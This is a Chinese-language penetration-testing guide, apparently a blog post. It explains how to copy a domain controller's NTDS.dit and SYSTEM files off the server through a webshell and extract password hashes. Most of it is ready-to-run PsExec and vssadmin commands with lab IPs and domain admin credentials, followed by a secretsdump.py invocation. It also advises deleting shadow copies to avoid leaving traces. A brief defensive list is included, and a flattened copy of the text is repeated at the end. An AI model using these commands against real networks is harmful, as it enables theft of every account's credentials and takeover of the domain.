通过webshell导出域控ntds.dit文件
字数 1360 2025-08-27 12:33:37

通过WebShell导出域控NTDS.dit文件的技术指南

概述

本技术文档详细介绍了在渗透测试过程中,当仅获得域内主机的WebShell时,如何利用PsExec和VSSAdmin工具远程导出域控制器上的NTDS.dit和SYSTEM文件的方法。这些文件包含Active Directory域的所有用户账户和密码哈希值,是渗透测试中获取域控制权的关键步骤。

前提条件

  • 已获得域内某台Windows主机的WebShell
  • 拥有域管理员凭据(用户名和密码)
  • 目标主机与域控制器网络连通
  • 能够在WebShell中上传并执行PsExec工具

环境示例

  • 域控制器(queen.DC1.indishell.lab): 192.168.56.200
  • 已控制的主机(LABONE): 192.168.56.101
  • 域管理员凭据: user1/ica_1046

所需工具

  1. PsExec.exe: Windows内网管理工具,用于在远程主机上执行命令
  2. VSSAdmin: Windows内置工具,用于管理卷影副本

详细步骤

1. 上传PsExec工具

通过WebShell将PsExec.exe上传到已控制的主机(LABONE)上,建议上传到可写目录如C:\xampp\htdocs\box\ps\

2. 检查现有卷影副本

首先检查目标域控制器上是否已有C盘的卷影副本:

PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"

此命令将执行结果重定向到LABONE主机的out.txt文件中。

3. 创建新的卷影副本

如果不存在卷影副本,创建C盘的卷影副本:

PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"

创建成功后,查看out.txt文件获取卷影副本路径,通常格式为:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\ (X为数字)

4. 复制NTDS.dit文件

NTDS.dit文件通常位于:
卷影副本路径\Windows\NTDS\NTDS.dit

执行复制命令:

PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\NTDS\NTDS.dit \\192.168.56.101\C$\xampp\htdocs\box\ps\"

5. 复制SYSTEM文件

SYSTEM文件通常位于:
卷影副本路径\Windows\System32\config\SYSTEM

执行复制命令:

PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SYSTEM \\192.168.56.101\C$\xampp\htdocs\box\ps\"

6. 下载文件

通过WebShell下载已复制到LABONE主机上的NTDS.dit和SYSTEM文件。

7. 提取哈希值

使用secretsdump.py工具提取哈希值:

python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

注意事项

  1. 权限要求:必须使用域管理员凭据执行这些操作
  2. 网络连通性:确保目标主机与域控制器之间的SMB端口(445)开放
  3. 输出重定向:由于WebShell可能无法完整显示命令输出,建议将输出重定向到文件
  4. 卷影副本清理:操作完成后可删除创建的卷影副本以避免留下痕迹
  5. 时间窗口:卷影副本操作应在短时间内完成,避免引起系统性能问题

防御措施

作为防御方,可以采取以下措施防范此类攻击:

  1. 限制域管理员账户的使用范围
  2. 监控异常的大量SMB访问
  3. 定期检查域控制器上的卷影副本操作
  4. 实施严格的权限管理,限制普通用户对关键目录的访问
  5. 监控PsExec等工具的使用情况

总结

本技术文档详细介绍了在仅获得WebShell的情况下,如何利用合法的Windows工具远程导出域控制器的关键文件。这种方法避免了需要直接与域控制器建立反向Shell的限制,适用于各种网络环境下的渗透测试场景。

通过WebShell导出域控NTDS.dit文件的技术指南 概述 本技术文档详细介绍了在渗透测试过程中,当仅获得域内主机的WebShell时,如何利用PsExec和VSSAdmin工具远程导出域控制器上的NTDS.dit和SYSTEM文件的方法。这些文件包含Active Directory域的所有用户账户和密码哈希值,是渗透测试中获取域控制权的关键步骤。 前提条件 已获得域内某台Windows主机的WebShell 拥有域管理员凭据(用户名和密码) 目标主机与域控制器网络连通 能够在WebShell中上传并执行PsExec工具 环境示例 域控制器(queen.DC1.indishell.lab): 192.168.56.200 已控制的主机(LABONE): 192.168.56.101 域管理员凭据: user1/ica_ 1046 所需工具 PsExec.exe : Windows内网管理工具,用于在远程主机上执行命令 VSSAdmin : Windows内置工具,用于管理卷影副本 详细步骤 1. 上传PsExec工具 通过WebShell将PsExec.exe上传到已控制的主机(LABONE)上,建议上传到可写目录如 C:\xampp\htdocs\box\ps\ 。 2. 检查现有卷影副本 首先检查目标域控制器上是否已有C盘的卷影副本: 此命令将执行结果重定向到LABONE主机的 out.txt 文件中。 3. 创建新的卷影副本 如果不存在卷影副本,创建C盘的卷影副本: 创建成功后,查看 out.txt 文件获取卷影副本路径,通常格式为: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\ (X为数字) 4. 复制NTDS.dit文件 NTDS.dit文件通常位于: 卷影副本路径\Windows\NTDS\NTDS.dit 执行复制命令: 5. 复制SYSTEM文件 SYSTEM文件通常位于: 卷影副本路径\Windows\System32\config\SYSTEM 执行复制命令: 6. 下载文件 通过WebShell下载已复制到LABONE主机上的NTDS.dit和SYSTEM文件。 7. 提取哈希值 使用secretsdump.py工具提取哈希值: 注意事项 权限要求 :必须使用域管理员凭据执行这些操作 网络连通性 :确保目标主机与域控制器之间的SMB端口(445)开放 输出重定向 :由于WebShell可能无法完整显示命令输出,建议将输出重定向到文件 卷影副本清理 :操作完成后可删除创建的卷影副本以避免留下痕迹 时间窗口 :卷影副本操作应在短时间内完成,避免引起系统性能问题 防御措施 作为防御方,可以采取以下措施防范此类攻击: 限制域管理员账户的使用范围 监控异常的大量SMB访问 定期检查域控制器上的卷影副本操作 实施严格的权限管理,限制普通用户对关键目录的访问 监控PsExec等工具的使用情况 总结 本技术文档详细介绍了在仅获得WebShell的情况下,如何利用合法的Windows工具远程导出域控制器的关键文件。这种方法避免了需要直接与域控制器建立反向Shell的限制,适用于各种网络环境下的渗透测试场景。